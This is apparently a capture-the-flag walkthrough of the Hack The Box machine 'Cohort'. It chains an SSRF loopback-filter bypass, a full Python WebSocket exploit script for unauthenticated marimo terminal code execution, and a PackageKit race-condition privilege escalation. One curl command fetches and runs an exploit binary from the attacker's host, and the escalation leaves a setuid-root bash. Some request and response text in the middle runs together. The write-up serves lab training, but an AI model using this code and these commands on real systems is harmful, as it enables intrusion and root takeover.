Summary
Hack The Box : Cohort Full Walkthrough ( Linux ; Very Easy )
Recon
I started with the recon as usual , i did a quick port scan with rustscan
rustscan -a <machine_ip>
3 ports are open, Port 22, 80 and 443. I pass them to nmap for a better scan with vuln scripts
nmap -sV -sC -p22,80,443 <machine_ip>
From the nmap result , we see the need to add cohort.htb to our host file , so we do
echo “<machine_ip> cohort.htb” | sudo tee -a /etc/hosts
The nmap output also shows something worth paying attention to: the TLS certificate on 443 has a Subject Alternative Name of *.cohort.htb
— a wildcard. That’s a strong hint that other virtual hosts exist on this box beyond the one we already know about, so I kept that in the back of my mind going forward.
Web Enumeration
Hitting https://cohort.htb/
directly with curl doesn’t return much of value — just a shell of HTML.
Opening it in a real browser tells a different story: the site is a Single Page Application called “Cohort Analytics”, and the actual page content, routing, and API calls are all handled client-side by a heavily obfuscated JS bundle (/assets/app.js
). Trying to statically reverse an obfuscated bundle is slow, so instead I opened DevTools (Network tab, “Preserve log” on) and just let the browser do the work of executing the JS for me, then watched what it actually did.
Poking around the rendered app and trying a few likely paths, /portal.html
turned out to exist ( after running curl against list of curated wordlist and checing the response ), a page titled “Client Insights” with a form description of “register and validate a report source URL”. That phrase, “validate a report source URL” , immediately reads like a feature that fetches a URL server-side, which is exactly the kind of functionality worth testing for SSRF.
Submitting a test URL through the form while watching the Network tab shows the request shape clearly:
POST /api/validate HTTP/1.1
Host: cohort.htb
Content-Type: application/json
{“url”:“http://test.com/log.csv”,“format”:“csv”}
The endpoint takes a JSON body with a url
and a format
field, and server-side fetches whatever URL you give it. That confirms the theory: this is a URL-fetching feature, and now the question is whether it’s properly filtered.
SSRF Exploit
I started with testing to maybe get some loopback of internal services , so i sent this :
curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.0.0.1/”,“format”:“csv”}’
the response :
{“ok”: false, “message”: “Internal or loopback addresses are not permitted.“}
So there is a filter, and it’s explicitly rejecting internal/loopback addresses. The wording of the message (“not permitted”) suggests a blocklist-style check rather than a proper resolve-then-validate approach — which usually means it’s just string-matching against known forms like 127.0.0.1
or localhost
, and can be bypassed with an alternate representation of the same address. Then I started trying some usual SSRF bypass formatting , which unexpectedly the first try worked
I sent :
curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1/”,“format”:“csv”}’
response:
{“ok”: true, “fetched_status”: 200, “content_type”: “text/html”, “preview”: “…
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1:5000/”,“format”:“csv”}’ {“ok”: true, “fetched_status”: 405, “content_type”: “application/json”, “preview”: ”{“ok”: false, “message”: “Method not allowed.”}”, “message”: “Source responded with an error status.“} Port 5000 is answering with JSON and rejecting GET — this looks like the same backend API framework as /api/validate itself, just also bound internally. so i went ahead and scan port 8888: curl -s -k -X POST https://cohort.htb/api/validate
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1:8888/”,“format”:“csv”}’ {“ok”: true, “fetched_status”: 200, …, “preview”: “…
-H “Content-Type: application/json”
-d ’{“url”:“http://127.1/status”,“format”:“csv”} { “service”: “cohort-edge”, “status”: “ok”, “generated_by”: “nginx”, “upstreams”: [ {“name”: “marketing”, “host”: “cohort.htb”, “root”: “/var/www/cohort”}, {“name”: “insights-api”, “host”: “cohort.htb”, “path”: “/api/”, “target”: “127.0.0.1:5000”}, {“name”: “notebooks”, “host”: “nb-1be3782a8afd3ad5.cohort.htb”, “target”: “127.0.0.1:8888”, “note”: “internal analyst workspace, not for external use”} ] } This returned clean, fully readable JSON describing the site’s internal routing, this confirms the wildcard cert suspicion from the initial nmap scan , there’s a real hidden vhost, nb-1be3782a8afd3ad5.cohort.htb , explicitly proxying to the marimo instance on port 8888 and flagged as an “internal analyst workspace, not for external use”. Add it to /etc/hosts : echo “<machine_ip> nb-1be3782a8afd3ad5.cohort.htb” | sudo tee -a /etc/hosts Browsing to it directly confirms the same marimo login page we saw through the SSRF preview. Foothold: Marimo Pre-Auth RCE (CVE-2026–39987) marimo notebook servers expose a WebSocket endpoint at /terminal/ws that spawns an OS pseudoterminal for the notebook’s built-in terminal feature. The version running here is vulnerable to CVE-2026-39987, a pre-authentication bypass where the validate_auth() check that’s supposed to gate access is missing on the WebSocket route specifically — even though the regular HTTP login page enforces it. Any client that completes the WebSocket handshake gets a live, unauthenticated interactive shell. Standard Python WebSocket client libraries had trouble reliably driving this over TLS through the reverse proxy setup, so I wrote a small raw-socket script instead — manually performing the TLS handshake, the WebSocket upgrade request, and hand-rolling the frame masking/parsing needed to send commands and read output: import socket, ssl, base64, os, struct, time, select TARGET_IP = “<machine_ip>” HOST = “nb-1be3782a8afd3ad5.cohort.htb” PATH = “/terminal/ws” def connect(): raw = socket.create_connection((TARGET_IP, 443), timeout=5) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(raw, server_hostname=HOST) key = base64.b64encode(os.urandom(16)).decode() req = (f”GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\nUpgrade: websocket\r\n” f”Connection: Upgrade\r\nSec-WebSocket-Key: {key}\r\n” f”Sec-WebSocket-Version: 13\r\nOrigin: https://{HOST}\r\n\r\n”) s.sendall(req.encode()) s.settimeout(5) resp = b"" while b”\r\n\r\n” not in resp: resp += s.recv(4096) print(”[+] Handshake response:”) print(resp.decode(errors=“replace”)) return s def send_text(s, text): payload = text.encode() mask = os.urandom(4) masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload)) length = len(payload) if length ⇐ 125: header = struct.pack(“!BB”, 0x81, 0x80 | length) elif length ⇐ 65535: header = struct.pack(“!BBH”, 0x81, 0x80 | 126, length) else: header = struct.pack(“!BBQ”, 0x81, 0x80 | 127, length) s.sendall(header + mask + masked) def recv_frames(s, duration=3): end = time.time() + duration buf = b"" out = b"" while time.time() < end: r, _, _ = select.select([s], [], [], 0.5) if r: try: chunk = s.recv(4096) except (socket.timeout, ssl.SSLWantReadError): continue if not chunk: break buf += chunk while len(buf) >= 2: b1 = buf[1] masked = b1 & 0x80 plen = b1 & 0x7F idx = 2 if plen == 126: if len(buf) < 4: break plen = struct.unpack(“!H”, buf[2:4])[0]; idx = 4 elif plen == 127: if len(buf) < 10: break plen = struct.unpack(“!Q”, buf[2:10])[0]; idx = 10 if masked: if len(buf) < idx + 4: break mask_key = buf[idx:idx+4]; idx += 4 else: mask_key = None if len(buf) < idx + plen: break payload = buf[idx:idx+plen] if mask_key: payload = bytes(c ^ mask_key[i % 4] for i, c in enumerate(payload)) out += payload buf = buf[idx+plen:] return out if name == “main”: import sys cmd = sys.argv[1] if len(sys.argv) > 1 else “id; whoami; hostname” s = connect() print(recv_frames(s, 3).decode(errors=“replace”)) send_text(s, cmd + “\r”) print(recv_frames(s, 4).decode(errors=“replace”)) save and run it : python3 marimo_exploit.py That’s unauthenticated code execution as marimo — no login token, no session, just a completed WebSocket handshake. This confirms validate_auth() genuinely isn’t being enforced on this route. User Flag python3 marimo_exploit.py “cat /home/marimo/user.txt” the user flag found Privilege Escalation: Pack2TheRoot (CVE-2026–41651) With a foothold as marimo , I went through the usual privesc checks. sudo -l prompts for a password we don’t have, and general enumeration shows the box is fairly hardened — no obvious writable cron jobs, no juicy SUID binaries beyond the standard set. What stood out instead was the installed package set: python3 marimo_exploit.py “dpkg -l | grep -i packagekit; which dpkg-deb; dbus-send —version” PackageKit 1.2.8 is present alongside dpkg-deb and D-Bus tooling. PackageKit versions from 1.0.2 up to 1.3.4 are affected by CVE-2026-41651, dubbed “Pack2TheRoot” , a time-of-check-to-time-of-use (TOCTOU) race condition in how the PackageKit daemon (which runs as root) handles D-Bus InstallFiles transactions. The daemon lets a caller open a transaction, submit an InstallFiles request with a SIMULATE flag to dry-run an install, and then because the transaction’s flags and file paths aren’t locked before the real execution phase reads them, a second InstallFiles call on the same transaction can overwrite those parameters before the simulated one finishes. The daemon ends up executing the real install (running the package’s maintainer scripts as root) instead of the harmless simulated one. A public PoC exists for this (shibaaa204/Pack2TheRoot on GitHub) with a precompiled exploit binary. The exploit builds two throwaway .deb packages locally — a harmless dummy, and a “payload” package whose postinst script copies /bin/bash to /tmp/.suid_bash with the setuid bit set — then fires the two racing D-Bus InstallFiles calls (SIMULATE against the dummy, immediately followed by a real install against the payload) and polls until the setuid binary appears. Transferring the exploit: on my attack machine, inside the directory containing the exploit : python3 -m http.server 8000 then i sent this to our target : python3 marimo_exploit.py “curl -s -o /tmp/exploit.bin http://<my_attack_machine_ip>:8000/exploit.bin && chmod +x /tmp/exploit.bin && ls -la /tmp/exploit.bin” Running the race: Since the exploit needs more time than a single request/response cycle to build packages and win the race, I backgrounded it on the target and gave it a moment before checking on it: python3 marimo_exploit.py “rm -f /tmp/.suid_bash /tmp/pk.log; nohup /tmp/exploit.bin > /tmp/pk.log 2>&1 & sleep 1; echo started” Then, after waiting: python3 marimo_exploit.py “cat /tmp/pk.log; echo ---; stat /tmp/.suid_bash 2>&1” The 4755 permissions with Uid: 0/root confirm the race won, /tmp/.suid_bash is a setuid-root copy of bash sitting on disk. The exploit’s own attempt to hand off to an interactive shell fails inside our non-interactive WebSocket pipe (no real TTY to attach to), but that doesn’t matter, the setuid binary is there, and we can invoke it ourselves. Root Flag python3 marimo_exploit.py “/tmp/.suid_bash -p -c ‘id; cat /root/root.txt’” The -p flag is important here, it tells bash to preserve the effective UID from the setuid bit rather than dropping privileges back to the real UID on startup, which is required for a setuid binary to actually hand you elevated access. You got the root flag too . Wholla Cohort is a good reminder that input filtering built on simple string-matching rarely holds up against the many equivalent ways to represent the same address, and that even a hardened application layer can be completely undone by a race condition sitting in a privileged system service underneath it.